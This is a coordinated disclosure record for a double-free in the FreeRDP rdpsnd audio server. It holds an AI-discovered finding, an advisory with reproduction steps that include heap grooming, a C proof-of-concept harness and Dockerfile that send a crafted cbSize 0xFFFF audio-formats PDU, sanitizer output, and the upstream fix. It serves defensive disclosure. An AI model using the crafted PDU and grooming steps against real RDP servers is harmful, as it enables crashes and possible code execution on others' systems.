ANT-2026-ZPF40VKS · freerdp/freerdp
double-free high
CVE-2026-63652 GHSA-9g22-w2gr-vcmp
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-ZPF40VKS: Audio server double-free of client format list
In rdpsnd_server_recv_formats(), the server allocates context->client_formats and then parses each client audio format; if a format's cbSize exceeds remaining stream bytes, Stream_SafeSeek() fails and control jumps to out_free, which frees context->client_formats but leaves the pointer and num_client_formats intact. The dangling pointer persists through rdpsnd_server_stop()/reset, and when the session is torn down rdpsnd_server_context_free() (line ~1143) unconditionally frees it a second time. In the shadow server, rdpsnd->rdpcontext is never assigned so setChannelError is skipped and the main client loop keeps servicing other virtual channels after the first free, giving an authenticated attacker a grooming window to reclaim the chunk before triggering the second free on disconnect. The result is at minimum a reliable remote DoS (glibc double-free abort) and, with heap grooming, a heap-corruption primitive that may lead to code execution in the server.
Target
Project: freerdp/freerdp
Location: channels/rdpsnd/server/rdpsnd_main.c:263
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The out_free label at rdpsnd_main.c:263 calls free(context->client_formats) without setting the pointer to NULL or clearing num_client_formats; nothing else on the error/stop/reset path clears it either. Because rdpsnd_server_context_free() at line ~1143 unconditionally calls free(context->client_formats) during teardown (reached from shadow_client.c:2932, sfreerdp.c:105, mf_peer.c:231, wf_peer.c:84), the same pointer is freed twice. The attacker controls both the size of the allocation (via wNumberOfFormats) and the timing between the two frees (via disconnect), enabling allocator-metadata corruption.
Reproduction
- Authenticate to the FreeRDP shadow/proxy/sample server and join the RDPSND channel
- In response to the server's SNDC_FORMATS, send a Client Audio Formats PDU where one format's cbSize (e.g. 0xFFFF) exceeds remaining stream bytes
- Stream_SafeSeek() fails; out_free frees context->client_formats (size wNumberOfFormats * sizeof(AUDIO_FORMAT)) without NULLing it
- Send crafted PDUs on another virtual channel sized to reclaim the freed chunk with attacker-controlled data
- Disconnect; session teardown calls rdpsnd_server_context_free(), which frees the reclaimed chunk a second time
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
On the out_free error path, set context->client_formats = NULL and context->num_client_formats = 0 immediately after freeing so that later cleanup cannot free the pointer again.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-ZPF40VKS.
Reference: ANT-2026-ZPF40VKS
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Summary
The FreeRDP audio-output server channel (rdpsnd, server side) parses the
client-advertised audio-format list in rdpsnd_server_recv_formats()
(channels/rdpsnd/server/rdpsnd_main.c). It allocates context->client_formats
up front and then validates each format record. On any per-record validation
failure the function jumps to the out_free: label, which calls
free(context->client_formats) without clearing context->client_formats
(and without resetting context->num_client_formats). The dangling pointer
survives channel stop/reset, and at session teardown
rdpsnd_server_context_free() unconditionally calls
free(context->client_formats) a second time — an attacker-influenced
double-free (CWE-415).
An authenticated remote RDP client triggers this with a single crafted PDU over
the standard static rdpsnd virtual channel: no server-side user interaction,
and audio redirection is a default-expected RDP feature present in FreeRDP-based
servers (shadow server, proxy, sfreerdp). The attacker controls the freed
chunk's size (wNumberOfFormats) and the timing of the second free (via
disconnect), so beyond a guaranteed remote DoS this is a size-controlled
double-free / heap-corruption primitive.
Affected versions
- FreeRDP 3.x — present in released tags 3.22.0, 3.26.0, 3.27.1 and on
master(HEAD1f7a716d39b5605bb8a83b0c3c97a6ce386609ef, reproduced 2026-07-01). Unpatched. On master the first free is atchannels/rdpsnd/server/rdpsnd_main.c:304(out_free) and the second at:1194(rdpsnd_server_context_free); in 3.27.1 the same two frees are at:275and:1155. Because the bug is in released 3.x tags (not development-branch-only), it qualifies for a CVE per the project's supported-versions policy. - Requires the server build to include the
rdpsndserver channel (standard).
Details
Vulnerable code
channels/rdpsnd/server/rdpsnd_main.c, rdpsnd_server_recv_formats():
context->client_formats = audio_formats_new(context->num_client_formats); // :217 calloc(N, sizeof(AUDIO_FORMAT))
...
for (UINT16 i = 0; i < context->num_client_formats; i++)
{
AUDIO_FORMAT* format = &context->client_formats[i];
if (!Stream_CheckAndLogRequiredLength(TAG, s, 18))
goto out_free; // (a) short record
Stream_Read_UINT16(s, format->wFormatTag);
Stream_Read_UINT16(s, format->nChannels);
...
Stream_Read_UINT16(s, format->nBlockAlign);
...
Stream_Read_UINT16(s, format->cbSize);
if ((format->nChannels == 0) || (format->nBlockAlign == 0))
goto out_free; // (b) zero divisor
... /* ADPCM nBlockAlign sanity checks */ ...
if (format->cbSize > 0)
{
if (!Stream_SafeSeek(s, format->cbSize)) // :287
{
WLog_ERR(TAG, "Stream_SafeSeek failed!");
goto out_free; // (c) cbSize > remaining
}
}
}
...
out_free: // :303
free(context->client_formats); // :304 frees, but pointer NOT cleared
return error;
audio_formats_new(count) is calloc(count, sizeof(AUDIO_FORMAT)) — one heap
block — so context->client_formats points at a single allocation.
At teardown, rdpsnd_server_context_free() frees the same field again:
// channels/rdpsnd/server/rdpsnd_main.c — rdpsnd_server_context_free() (:1175)
free(context->server_formats);
free(context->client_formats); // :1194 SECOND free of the dangling pointer
free(context->priv);
free(context);
The overflow trigger used by the PoC is the cbSize path (c): a format record
declaring cbSize = 0xFFFF with no trailing bytes makes
Stream_SafeSeek(s, 0xFFFF) fail, so the first (already-parsed) record sends
control to out_free after the array is allocated. Paths (a) and (b) reach the
same free.
Root cause
The error path frees a buffer still owned by context->client_formats without
nulling the owning field, breaking the single-owner invariant that
rdpsnd_server_context_free() relies on.
Server-independent call path (from the channel dispatcher)
rdpsnd_server_thread rdpsnd_main.c:308
rdpsnd_server_handle_messages rdpsnd_main.c:1221
(read priv->msgType) rdpsnd_main.c:1256
switch (priv->msgType) rdpsnd_main.c:1281
case SNDC_FORMATS: rdpsnd_main.c:1291
rdpsnd_server_recv_formats(context, s) rdpsnd_main.c:1292
free(context->client_formats) rdpsnd_main.c:304 <-- FIRST free (out_free)
...session teardown...
rdpsnd_server_context_free(context) rdpsnd_main.c:1175
free(context->client_formats) rdpsnd_main.c:1194 <-- SECOND free
SNDC_FORMATS is dispatched to rdpsnd_server_recv_formats unconditionally for
that message type, so any authenticated client that has joined the rdpsnd
static channel reaches the vulnerable function.
Impact
A single malformed Client Audio Formats PDU frees a server heap chunk whose
size the attacker selects (via wNumberOfFormats); the same pointer is freed a
second time at session teardown. The immediately demonstrated, reliable impact
is a remote denial of service — modern glibc detects the double free() and
abort()s the server process (ASan reproduces it deterministically below).
Because the attacker controls the allocation size and the second-free timing,
and can drive arbitrary additional channel traffic between the two frees to
recycle the chunk, this is a genuine heap-corruption primitive; escalation to
code execution is opportunistic and allocator-hardening-dependent, and is not
demonstrated here. No server-side user interaction; requires a completed RDP
handshake (post-auth) → High.
Proof of Concept
Self-contained Docker reproducer. It builds libfreerdp + winpr + the
rdpsnd server channel under AddressSanitizer at the affected commit, and a
small consumer that #includes the real upstream translation unit
(channels/rdpsnd/server/rdpsnd_main.c) so the frames carry the true upstream
source paths. It drives the genuine static rdpsnd_server_recv_formats() with a
crafted Client Audio Formats PDU body (exactly the bytes the dispatcher hands to
that function after stripping the SNDPROLOG), then calls the exported
rdpsnd_server_context_free() — i.e. the identical first-free / second-free pair
an authenticated client drives over the rdpsnd channel followed by session
teardown. (Standing up a full TLS/NLA RDP session plus a custom client that
emits the malformed PDU reaches the same two frames; the dispatcher wiring above
establishes that reachability.)
harness.c
/*
* FreeRDP rdpsnd server double-free of client_formats (CWE-415).
* Drives the real static rdpsnd_server_recv_formats() (hits out_free ->
* free(client_formats) without NULLing) then the exported
* rdpsnd_server_context_free() (second free) => double free.
*/
#include "rdpsnd_main.c" /* the real upstream TU: static recv_formats + context_free */
#include <stdio.h>
#include <string.h>
static void w16(BYTE* p, UINT16 v) { p[0] = (BYTE)(v & 0xff); p[1] = (BYTE)((v >> 8) & 0xff); }
static void w32(BYTE* p, UINT32 v) { p[0] = (BYTE)v; p[1] = (BYTE)(v >> 8); p[2] = (BYTE)(v >> 16); p[3] = (BYTE)(v >> 24); }
int main(void)
{
/* A Client Audio Formats PDU body (bytes after the 4-byte SNDPROLOG the
* dispatcher has already stripped before calling recv_formats). */
BYTE buf[38];
memset(buf, 0, sizeof(buf));
/* --- 20-byte fixed header --- */
w32(buf + 0, 0); /* dwFlags */
w32(buf + 4, 0); /* dwVolume */
w32(buf + 8, 0); /* dwPitch */
w16(buf + 12, 0); /* wDGramPort */
w16(buf + 14, 1); /* wNumberOfFormats = 1 -> one AUDIO_FORMAT allocated */
buf[16] = 0; /* cLastBlockConfirmed */
w16(buf + 17, 0); /* wVersion */
buf[19] = 0; /* bPad */
/* --- one 18-byte WAVEFORMATEX-ish record --- */
w16(buf + 20, 1); /* wFormatTag = WAVE_FORMAT_PCM */
w16(buf + 22, 2); /* nChannels (non-zero, passes the div-by-zero gate) */
w32(buf + 24, 44100); /* nSamplesPerSec */
w32(buf + 28, 0); /* nAvgBytesPerSec */
w16(buf + 32, 4); /* nBlockAlign (non-zero) */
w16(buf + 34, 16); /* wBitsPerSample */
w16(buf + 36, 0xFFFF); /* cbSize = 65535 -> exceeds remaining bytes (0) -> Stream_SafeSeek fails */
RdpsndServerContext* context = (RdpsndServerContext*)calloc(1, sizeof(RdpsndServerContext));
if (!context) { fprintf(stderr, "calloc context failed\n"); return 2; }
wStream* s = Stream_New(buf, sizeof(buf));
if (!s) { fprintf(stderr, "Stream_New failed\n"); return 2; }
fprintf(stderr, "[harness] calling rdpsnd_server_recv_formats (will hit out_free)\n");
UINT rc = rdpsnd_server_recv_formats(context, s);
fprintf(stderr, "[harness] recv_formats returned 0x%08x; client_formats=%p (DANGLING, not NULLed)\n",
rc, (void*)context->client_formats);
Stream_Free(s, FALSE);
fprintf(stderr, "[harness] calling rdpsnd_server_context_free (second free -> double-free)\n");
rdpsnd_server_context_free(context);
fprintf(stderr, "[harness] survived (NO double-free -- likely a fixed build)\n");
return 0;
}
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=1f7a716d39b5605bb8a83b0c3c97a6ce386609ef
ARG CLANG_VERSION=20
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake ninja-build pkg-config libc6-dev \
zlib1g-dev libssl-dev \
wget gnupg lsb-release software-properties-common \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}
ENV ASAN_FLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
RUN git clone https://github.com/FreeRDP/FreeRDP /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
RUN cmake -G Ninja -S /src/repo -B /build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=clang-${CLANG_VERSION} \
-DCMAKE_C_FLAGS="${ASAN_FLAGS}" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF \
-DBUILD_SHARED_LIBS=ON \
-DWITH_SERVER=ON -DWITH_CLIENT=OFF -DWITH_SAMPLE=OFF \
-DWITH_SHADOW=OFF -DWITH_PROXY=OFF -DWITH_CLIENT_SDL=OFF \
-DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_PCSC=OFF \
-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_OPUS=OFF \
-DWITH_FUSE=OFF -DWITH_CUPS=OFF -DWITH_KRB5=OFF \
-DCHANNEL_URBDRC=OFF -DWITH_LIBUSB=OFF \
-DWITH_MANPAGES=OFF -DWITH_GSSAPI=OFF \
-DUSE_VERSION_FROM_GIT_TAG=OFF \
&& cmake --build /build --target rdpsnd-server freerdp-server freerdp winpr
COPY harness.c /tmp/harness.c
RUN set -e ; \
FRDP_SERVER=$(find /build -name 'libfreerdp-server*.so' | head -1) ; \
FRDP=$(find /build -name 'libfreerdp3.so' -o -name 'libfreerdp.so' | head -1) ; \
WINPR=$(find /build -name 'libwinpr3.so' -o -name 'libwinpr.so' | head -1) ; \
RPATHS=$(find /build -name 'lib*.so' -exec dirname {} \; | sort -u | sed 's/^/-Wl,-rpath,/' | tr '\n' ' ') ; \
$CC $ASAN_FLAGS \
-I/src/repo/channels/rdpsnd/server \
-I/src/repo/channels/rdpsnd/common \
-I/src/repo/include -I/build/include \
-I/build/winpr/include -I/src/repo/winpr/include \
-I/src/repo/libfreerdp \
/tmp/harness.c $RPATHS "$FRDP_SERVER" "$FRDP" "$WINPR" \
-o /tmp/poc_run -fsanitize=address \
&& echo BUILD_OK
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer
CMD ["/bin/sh","-c","/tmp/poc_run 2>&1; echo EXIT=$?"]
Build and run:
docker build -t frdp-rdpsnd-df .
docker run --rm frdp-rdpsnd-df
Observed output at master 1f7a716d (AddressSanitizer):
[harness] calling rdpsnd_server_recv_formats (will hit out_free)
[ERROR][com.freerdp.channels.rdpsnd.server] - [rdpsnd_server_recv_formats]: Stream_SafeSeek failed!
[harness] recv_formats returned 0x0000054f; client_formats=0x7b390ebe0040 (DANGLING, not NULLed)
[harness] calling rdpsnd_server_context_free (second free -> double-free)
=================================================================
==7==ERROR: AddressSanitizer: attempting double-free on 0x7b390ebe0040 in thread T0:
#0 ... in free
#1 ... in rdpsnd_server_context_free /src/repo/channels/rdpsnd/server/rdpsnd_main.c:1194:2
#2 ... in main /tmp/harness.c:71:2
0x7b390ebe0040 is located 0 bytes inside of 32-byte region [0x7b390ebe0040,0x7b390ebe0060)
freed by thread T0 here:
#0 ... in free
#1 ... in rdpsnd_server_recv_formats /src/repo/channels/rdpsnd/server/rdpsnd_main.c:304:2 (out_free)
previously allocated by thread T0 here:
#0 ... in calloc
#1 ... in rdpsnd_server_recv_formats /src/repo/channels/rdpsnd/server/rdpsnd_main.c:217:28 (audio_formats_new)
SUMMARY: AddressSanitizer: double-free /src/repo/channels/rdpsnd/server/rdpsnd_main.c:1194:2 in rdpsnd_server_context_free
==7==ABORTING
EXIT=134
Suggested fix
Clear the pointer (and the count) on the error path so the later
free(context->client_formats) in rdpsnd_server_context_free() becomes a
free(NULL) no-op:
out_free:
free(context->client_formats);
+ context->client_formats = NULL;
+ context->num_client_formats = 0;
return error;
Fix-verified: with this change the same PoC prints client_formats=(nil) and
exits 0 with no ASan report. (Defense-in-depth: rdpsnd_server_context_free()
could also NULL the field after freeing, but the root fix belongs on the error
path.)
References
channels/rdpsnd/server/rdpsnd_main.c—rdpsnd_server_recv_formats()(alloc at :217;out_freefree(client_formats)at :304),rdpsnd_server_context_free()(second free at :1194); dispatcherrdpsnd_server_handle_messages()(:1221,case SNDC_FORMATS::1291).- Distinct sibling fixes (FreeRDP 3.22.0, different functions):
audin_server_recv_formatsover-free;rdpsnd_treat_waveasync use-after-free. - CWE-415 (Double Free).
Attribution
please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.
Disclosure
This report follows a 90-day coordinated disclosure timeline as per https://www.anthropic.com/coordinated-vulnerability-disclosure
The change that resolved this finding.
diff --git a/channels/rdpsnd/server/rdpsnd_main.c b/channels/rdpsnd/server/rdpsnd_main.c
index 3d0052e828f2..9955932310f6 100644
--- a/channels/rdpsnd/server/rdpsnd_main.c
+++ b/channels/rdpsnd/server/rdpsnd_main.c
@@ -181,6 +181,14 @@ static UINT rdpsnd_server_recv_quality_mode(RdpsndServerContext* context, wStrea
return CHANNEL_RC_OK;
}
+static void rdpsnd_server_client_format_free(RdpsndServerContext* context)
+{
+ WINPR_ASSERT(context);
+ free(context->client_formats);
+ context->client_formats = nullptr;
+ context->num_client_formats = 0;
+}
+
/**
* Read Client Audio Formats and Version PDU (2.2.2.2)
*
@@ -301,7 +309,7 @@ static UINT rdpsnd_server_recv_formats(RdpsndServerContext* context, wStream* s)
return CHANNEL_RC_OK;
out_free:
- free(context->client_formats);
+ rdpsnd_server_client_format_free(context);
return error;
}
@@ -1191,7 +1199,7 @@ void rdpsnd_server_context_free(RdpsndServerContext* context)
}
free(context->server_formats);
- free(context->client_formats);
+ rdpsnd_server_client_format_free(context);
free(context->priv);
free(context);
}https://github.com/FreeRDP/FreeRDP/commit/caf653c0ba1c75ec8f298d1baa59770102a5d14c
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-06 Patch released
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
7d3085a90155c6cf9d8c963b5da4bf757e3f9c07044f326ccd172b54cd6e420d1808fe44d41917ddf06e8d1d03e33b1b174eb8afb9396c3dc416b4740ed194f8
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 21:43 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-ZPF40VKS",
"bug_class": "Double Free",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:52:39+00:00",
"description": "In rdpsnd_server_recv_formats(), the server allocates context->client_formats and then parses each client audio format; if a format's cbSize exceeds remaining stream bytes, Stream_SafeSeek() fails and control jumps to out_free, which frees context->client_formats but leaves the pointer and num_client_formats intact. The dangling pointer persists through rdpsnd_server_stop()/reset, and when the session is torn down rdpsnd_server_context_free() (line ~1143) unconditionally frees it a second time. In the shadow server, rdpsnd->rdpcontext is never assigned so setChannelError is skipped and the main client loop keeps servicing other virtual channels after the first free, giving an authenticated attacker a grooming window to reclaim the chunk before triggering the second free on disconnect. The result is at minimum a reliable remote DoS (glibc double-free abort) and, with heap grooming, a heap-corruption primitive that may lead to code execution in the server.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "channels/rdpsnd/server/rdpsnd_main.c:263",
"poc_sha256": null,
"preimage_version": 1,
"project": "freerdp/freerdp",
"reproduction": [
"1. Authenticate to the FreeRDP shadow/proxy/sample server and join the RDPSND channel",
"2. In response to the server's SNDC_FORMATS, send a Client Audio Formats PDU where one format's cbSize (e.g. 0xFFFF) exceeds remaining stream bytes",
"3. Stream_SafeSeek() fails; out_free frees context->client_formats (size wNumberOfFormats * sizeof(AUDIO_FORMAT)) without NULLing it",
"4. Send crafted PDUs on another virtual channel sized to reclaim the freed chunk with attacker-controlled data",
"5. Disconnect; session teardown calls rdpsnd_server_context_free(), which frees the reclaimed chunk a second time"
],
"technical_details": "The out_free label at rdpsnd_main.c:263 calls free(context->client_formats) without setting the pointer to NULL or clearing num_client_formats; nothing else on the error/stop/reset path clears it either. Because rdpsnd_server_context_free() at line ~1143 unconditionally calls free(context->client_formats) during teardown (reached from shadow_client.c:2932, sfreerdp.c:105, mf_peer.c:231, wf_peer.c:84), the same pointer is freed twice. The attacker controls both the size of the allocation (via wNumberOfFormats) and the timing between the two frees (via disconnect), enabling allocator-metadata corruption.",
"title": "Audio server double-free of client format list",
"vendor_severity": "high"
}